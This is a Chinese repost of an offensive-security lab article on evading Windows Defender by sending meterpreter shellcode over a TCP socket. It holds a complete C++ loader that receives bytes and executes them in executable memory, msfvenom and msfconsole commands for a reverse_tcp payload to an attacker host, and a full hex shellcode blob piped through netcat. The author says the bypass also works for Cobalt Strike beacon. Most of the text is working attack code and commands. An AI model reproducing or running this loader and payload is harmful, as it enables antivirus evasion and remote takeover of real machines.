利用套接字投递shellcode绕过Windows Defender
2021-01-06 17:45:23 Author: www.secpulse.com(查看原文) 阅读量:305 收藏

实验背景

当我们在安装了Windows Defender的计算机上运行开箱即用的meterpreter payload时,马上就会被拦截。

20210106163751.gif

本文将为读者展示如何通过TCP套接字投递shellcode来绕过最新的Windows Defender(撰写本文时是5月7日)执行现成的meterpreter payload的。

该技术同样适用于Cobalt Strike Beacon

虽然本实验中是使用Metasploit的meterpreter payload进行演示的,但是我已经用Cobalt Strike beacon对本文介绍的技术进行了测试,同样也能顺利绕过Windows Defender。

概述

实际上,这里用于绕过Windows Defender的技术非常简单:

  • 在受害计算机(10.0.0.7)的端口443(或其他任何端口)上侦听TCP套接字

  • 让受害计算机上的套接字等待传入shellcode

  • 攻击机器(10.0.0.5)连接到受害套接字,并将shellcode作为二进制数据发送

  • 受害者计算机接收shellcode,分配可执行内存并将shellcode移动到分配的内存中

  • 受害计算机执行通过网络接收的shellcode,并启动meterpreter(或cobalt strike beacon)下载第二阶段的有效荷载

  • 攻击机器提供有效荷载,并收到shell

实验过程

接下来,让我们编写并编译一个简单的PoC C++程序(参见代码部分),它将替我们完成上述所有步骤。

编译后,我们在受害机器上执行该程序,并检查端口443上的套接字是否已打开:

attacker@victim

netstat -nat | findstr /i listen | findstr /i 443

 1.png

让我们生成一个多阶段的meterpreter payload,并将其输出为C格式:

attacker@kali

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c > meterpreter.c

 1.png

下面,让我们创建一个msf处理程序来捕获攻击计算机上的meterpreter会话:

attacker@kali

msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"

 1.png

现在,我们可以从C文件中获取shellcode,并将其作为二进制数据回显,然后通过netcat将其通过管道传递到受害机器(TCP套接字正在侦听443端口):

attacker@kali

echo -e "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x05\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5" | nc 10.0.0.7 443

至此,所有渗透测试的准备工作就算完成了。下面对上述所有操作进行简单介绍:

屏幕中间的Cmd shell打开受害计算机上的TCP套接字(端口443)

cmd shell下面的Windows Defender显示签名是最新的

右上角:msfconsole正在等待攻击机器发送第二阶段的有效载荷

右下角:攻击者通过netcat将shellcode发送给受害者

右上角:msfconsole为受害者提供第二阶段有效载荷,并建立meterpreter会话

1.gif 

小结

读者可能会问:为什么这种方法能够奏效呢?我只能说自己也不清楚。不过,作为Windows Defender的超级粉丝,我认为它在拦截恶意代码方面做得还是非常出色的,我相信它很快就能识别这种绕过技术。

演示代码

#include "pch.h"

#include <WinSock2.h>

#include <WS2tcpip.h>

#include <iostream>

#include <Windows.h>

#pragma comment(lib, "ws2_32.lib")

int main()

{

    LPWSADATA wsaData = new WSAData();

    ADDRINFOA *socketHint = new ADDRINFOA();

    ADDRINFOA *addressInfo = new ADDRINFOA();

    SOCKET listenSocket = INVALID_SOCKET;

    SOCKET clientSocket = INVALID_SOCKET;

    CHAR bufferReceivedBytes[4096] = {0};

    INT receivedBytes = 0;

    PCSTR port = "443";

    socketHint->ai_family = AF_INET;

    socketHint->ai_socktype = SOCK_STREAM;

    socketHint->ai_protocol = IPPROTO_TCP;

    socketHint->ai_flags = AI_PASSIVE;

    WSAStartup(MAKEWORD(2, 2), wsaData);

    GetAddrInfoA(NULL, port, socketHint, &addressInfo);

    listenSocket = socket(addressInfo->ai_family, addressInfo->ai_socktype, addressInfo->ai_protocol);

    bind(listenSocket, addressInfo->ai_addr, addressInfo->ai_addrlen);

    listen(listenSocket, SOMAXCONN);

    std::cout << "Listening on TCP port " << port << std::endl;

    clientSocket = accept(listenSocket, NULL, NULL);

    std::cout << "Incoming connection..." << std::endl;

    receivedBytes = recv(clientSocket, bufferReceivedBytes, sizeof(bufferReceivedBytes), NULL);

    if (receivedBytes > 0) {

        std::cout << "Received shellcode bytes " << receivedBytes << std::endl;

    }

    LPVOID shellcode = VirtualAlloc(NULL, receivedBytes, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    std::cout << "Allocated memory for shellocode at: " << shellcode << std::endl;

    memcpy(shellcode, bufferReceivedBytes, sizeof(bufferReceivedBytes));

    std::cout << "Copied shellcode to: " << shellcode << std::endl << "Sending back meterpreter session...";

    ((void(*)()) shellcode)();

    return 0;

}

参考资料

getaddrinfo function (ws2tcpip.h) - Win32 apps

https://docs.microsoft.com/en-us/windows/desktop/api/ws2tcpip/nf-ws2tcpip-getaddrinfo

原文地址:https://www.ired.team/offensive-security/defense-evasion/bypassing-windows-defender-one-tcp-socket-away-from-meterpreter-and-cobalt-strike-beacon

本文作者:mssp299

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/150933.html


文章来源: https://www.secpulse.com/archives/150933.html
如有侵权请联系:admin#unsafe.sh